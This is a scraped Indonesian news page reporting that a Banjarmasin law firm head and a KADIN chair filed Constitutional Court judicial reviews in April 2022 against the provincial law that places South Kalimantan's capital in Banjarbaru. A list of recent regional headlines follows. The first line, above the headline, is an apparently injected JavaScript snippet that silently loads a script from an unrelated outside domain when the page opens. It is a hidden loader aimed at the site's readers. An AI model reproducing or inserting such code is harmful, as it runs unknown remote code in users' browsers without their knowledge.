(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

UU Kalsel terkait Penetapan Ibu Kota Provinsi Resmi Digugat ke MK


KANALKALIMANTAN.COM, BANJARMASIN – Direktur utama Borneo Law Firm Muhamad Pazri bersama Ketua KADIN Kota Banjarmasin Muhammad Akbar Utomo resmi mengajukan gugatan terhadap kedudukan Ibu Kota Provinsi Kalimantan Selatan berada di Banjarbaru.

Setelah mendaftarkan Judicial Review melalui online pada 19 April 2022, merekan pun datang menyerahkan kelengkapan pendaftaran berupa dokumen permohonan Judicial Review (JR), surat kuasa asli dan dua koper isi bukti surat JR, pada Jumat (22/4/2022).

“Dengan semangat spirit perjuangan Raja Banjar Pertama Sultan Suriansyah, kami membawa amanah para tokoh, masyarakat kota Banjarmasin dan warga Kalsel yang mendukung untuk mempertahankan Ibu Kota Provinsi Kalsel agar tetap berkedudukan di Kota Banjarmasin,” kata Pazri, Jumat (22/4/2022).

Adapun pasal yang diuji pihaknya ialah Pasal 4 Undang-undang Nomor 8 Tahun 2022 tentang Provinsi Kalimantan Selatan. Pihaknya resmi mendaftarkan 2 gugatan pengujian formil perkara nomor 52/PUU/PAN.MK/AP3/04/2022 dan nomor 53/PUU/PAN.MK/AP3/04/2022.

 

Baca juga  : Driver Ojol Kena Tipu Undian, Tabungan Rp 65 Juta Amblas

Terpantau kanalkalimantan.com, Wali Kota Banjarmasin Ibnu Sina melalui ASN Kota Banjarmasin sebagai kuasa hukumnya turut mendaftarkan satu gugatan pada 19 April 2022 tepat setalah Pazri mendaftarkan gugatan sebelumnya.

Diketahui mereka telah bekerjasama menggandeng banyak pihak guna menguatkan bukti fakta tentang banyaknya dugaan kejanggalan dari proses perancangan hingga pembentukan UU Provinsi Kalsel tersebut.

“RUU terdiri dari 58 Pasal namun kemudian yang di sahkan hanya menjadi 8 Pasal yang tidak mengakomodir kebutuhan Kalsel ,tidak mengakomodir Kalsel sebagai penyangga Ibu Kota Negara (IKN),” jelas Pazri.

Muhammad Pazri beserta pihaknya mengaku optimistis dengan gugatan yang sudah diajukan tersebut tidak akan kandas.

“Kami optimis menang semua akan kami buktikan dengan berbagai macam dalil, bukti-bukti serta saksi-saksi fakta yang kuat, JR ini dikabulkan MK dan kedudukan Ibu Kota Provinsi Kalsel tetap menjadi di Kota Banjarmasin,” pungkasnya. (kanalkalimantan.com/wanda).

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

8 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

9 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

10 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

10 jam ago

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

22 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

23 jam ago

This website uses cookies.